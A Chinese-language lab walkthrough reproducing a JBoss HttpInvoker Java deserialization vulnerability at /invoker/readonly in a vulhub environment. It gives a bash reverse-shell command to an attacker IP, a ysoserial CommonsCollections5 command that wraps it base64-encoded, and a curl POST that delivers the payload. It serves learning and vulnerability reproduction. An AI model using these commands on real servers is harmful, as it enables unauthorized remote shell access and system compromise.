漏洞产生原理
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
什么是jboss
Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。 Jboss属于redhat公司,而且jboss是开源的,免费的,且在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器,所以曾经广为流行。
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化:(该图像来源于vulhub官方wp中)
启动环境之后,直接在浏览器中进行访问
显示该页面说明环境是搭建成功的。接下来访问他的invoker/readonly目录,
访问正常。然后通过反弹shell的对该漏洞进行利用。
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,所以需要对弹shell命令bash -i >& /dev/tcp/192.168.217.139/4444 0>&1进行base64编码。接着我们使用 ysoserial 工具来复现生成序列化数据,并重定向到exp.ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" >exp.ser
执行完该指令会生成一个exp.ser文件,接着我们可以使用curl命令,将我们的序列化数据以POST的形式发送。
curl http://192.168.217.134:8080/invoker/readonly --data-binary @exp.ser
在传文件之前,我们需在攻击机开启端口监听来接收反弹的shell
开启监听之后,开始向服务器发送请求文件。
请求完毕,此时看到我们监听的端口,也成功反弹shell